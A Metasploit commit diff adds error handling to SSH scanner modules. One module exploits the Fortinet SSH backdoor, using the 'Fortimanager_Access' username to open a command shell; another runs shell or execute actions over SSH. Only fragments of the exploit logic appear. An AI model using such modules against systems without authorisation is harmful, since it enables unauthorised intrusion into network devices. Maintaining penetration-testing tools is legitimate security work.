Update my SSH scanner modules
Especially with proper error handling for Net::SSH::CommandStream.GSoC/Meterpreter_Web_Console
parent
a415063acd
commit
6e77ae7e3e
|
@ -4,6 +4,7 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::SSH
|
include Msf::Exploit::Remote::SSH
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::CommandShell
|
include Msf::Auxiliary::CommandShell
|
||||||
|
@ -81,15 +82,23 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
shell = Net::SSH::CommandStream.new(ssh)
|
shell = Net::SSH::CommandStream.new(ssh)
|
||||||
|
|
||||||
return unless shell
|
# XXX: Wait for CommandStream to log a channel request failure
|
||||||
|
sleep 0.1
|
||||||
|
|
||||||
info = "Fortinet SSH Backdoor (#{version})"
|
if (e = shell.error)
|
||||||
|
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
info = "#{self.name} (#{version})"
|
||||||
|
|
||||||
ds_merge = {
|
ds_merge = {
|
||||||
'USERNAME' => 'Fortimanager_Access'
|
'USERNAME' => 'Fortimanager_Access'
|
||||||
}
|
}
|
||||||
|
|
||||||
start_session(self, info, ds_merge, false, shell.lsock) if datastore['CreateSession']
|
if datastore['CreateSession']
|
||||||
|
start_session(self, info, ds_merge, false, shell.lsock)
|
||||||
|
end
|
||||||
|
|
||||||
# XXX: Ruby segfaults if we don't remove the SSH socket
|
# XXX: Ruby segfaults if we don't remove the SSH socket
|
||||||
remove_socket(ssh.transport.socket)
|
remove_socket(ssh.transport.socket)
|
||||||
|
@ -98,4 +107,5 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
def rport
|
def rport
|
||||||
datastore['RPORT']
|
datastore['RPORT']
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -137,7 +137,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
case action.name
|
case action.name
|
||||||
when 'Shell'
|
when 'Shell'
|
||||||
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
|
if datastore['CreateSession']
|
||||||
|
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
|
||||||
|
end
|
||||||
when 'Execute'
|
when 'Execute'
|
||||||
output = shell.channel && (shell.channel[:data] || '').chomp
|
output = shell.channel && (shell.channel[:data] || '').chomp
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue